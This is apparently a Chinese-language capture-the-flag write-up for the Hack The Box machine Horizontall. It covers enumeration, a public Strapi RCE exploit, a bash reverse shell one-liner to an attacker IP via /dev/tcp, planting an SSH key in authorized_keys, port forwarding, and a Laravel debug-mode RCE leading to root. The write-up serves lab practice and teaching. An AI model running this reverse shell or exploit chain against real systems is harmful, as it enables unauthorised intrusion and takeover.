Linux/Horizonatll

Enumeration

nmap

第一次扫描发现系统对外开放了22,80端口,端口详细信息如下

从nmap结果看,系统只对外开放了两个端口,22和80,还显示了域名为http://horizontall.htb,将其添加到/etc/hosts文件中

strapi 3.0.0-beta.17.4 Set Password+Remote Code Execution

访问网站,页面如下

但是网站里所有的链接都没有用,因此尝试扫描web目录,但是并没有发现什么有趣的内容,然后发现在app.c68eb462.js中发现了一个新域名api-prod.horizontall.htb,将其添加到/etc/hosts文件中

之后访问新发现的域名,结果只是在屏幕上打印了welcome,尝试扫描web目录

使用gobuster扫描目录,很快就发现了admin

访问目录会跳转到登录页面,可以清楚地看到登录框写着strapi,通过搜索发现strapi是一个开源的headless CMS

对一个已知的cms应用,先看看有没有现成的漏洞及利用方式,有未认证的设置密码,认证后的rce,第三个很有意思,看起来是将前两种情况合并在一起,先将利用脚本镜像到本地

在python脚本中有一段版本检查的代码

可以请求该url,来查看软件版本是否存在漏洞

版本一致,容易受到攻击,执行脚本

可以看到脚本修改了密码,在输入id后返回了错误,并且提示这个RCE无法看到输出,尝试用一个用反向shell连接kali

bash 复制代码
bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

输入上述指令后,在监听端得到shell

获取交互式shell

bash 复制代码
script /dev/null -c bash
ctrl-z
stty raw -echo; fg
reset

可以拿到user的flag

Privilege Escalation

查看系统运行的服务

可以看到除了22和80外,还有1337,3306和8000端口,3306默认是mysql的端口,用curl请求1337和8000端口,这两个页面似乎都展示了页面

发现strapi的主目录是/opt/strapi

在本机上使用ssh-keygen生成公钥和私钥对

复制id_rsa.pub中的内容到目标主机/opt/strapi/.ssh/authorized_keys,因为没有.ssh目录,所以新建了一个,然后在该目录下,创建了authorized_keys并修改其内容

这个时候就可以使用ssh登录目标系统了,这个时候可以利用ssh隧道将本地端口转发到远程主机

bash 复制代码
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.10.11.105

然后可以在本地访问8000端口

在页面最下方,有laravel的版本信息Laravel v8 (PHP v7.4.18),有了具体的框架及版本,可以查看是否存在漏洞及利用方式,发现如果框架处于调试模式时,可以远程代码执行

Laravel 8.4.2 debug mode - Remote code execution

不知道怎么确定是否在调试,尝试扫描目录之后,发现了/profiles,访问该链接

在Laravel中发现了一些调试信息,似乎框架就处于希望的调试模式,寻找漏洞利用程序,然后下载到本地并且为程序添加执行权限,因为刚才进行了端口转发,可以直接在kali机器上运行程序

发现,按照步骤运行完毕后,输出了root,可以将指令换成一个反向shell

在kali中开启监听后,执行指令,即可获得一个shell

相关推荐
筑梦之路28 分钟前
深入linux的审计服务auditd —— 筑梦之路
linux·运维·服务器
hi_link37 分钟前
centos系统将/home分区的空间分配给/
linux·运维·centos
CSND7401 小时前
linux离线环境局域网远程ssh连接vscode
linux·vscode·ssh
Che_Che_1 小时前
论文阅读-IDFUZZ: Intelligent Directed Grey-box Fuzzing
论文阅读·网络安全·模糊测试·定向模糊测试
应用市场1 小时前
Linux驱动开发原理详解:从入门到实践
linux·运维·驱动开发
介一安全1 小时前
【Frida Android】基础篇8:Java层Hook基础——调用带对象参数的方法
android·网络安全·逆向·安全性测试·frida
siriuuus1 小时前
Linux MySQL 多实例部署与配置实践
linux·运维·mysql
郝学胜-神的一滴2 小时前
深入解析Linux下的`lseek`函数:文件定位与操作的艺术
linux·运维·服务器·开发语言·c++·软件工程
冲上云霄的Jayden2 小时前
ubuntu 22一步步 安装docker和配置使用国内源
linux·ubuntu·docker·国内源
迎風吹頭髮2 小时前
Linux服务器编程实践20-TCP服务 vs UDP服务:核心差异对比
linux·服务器·tcp/ip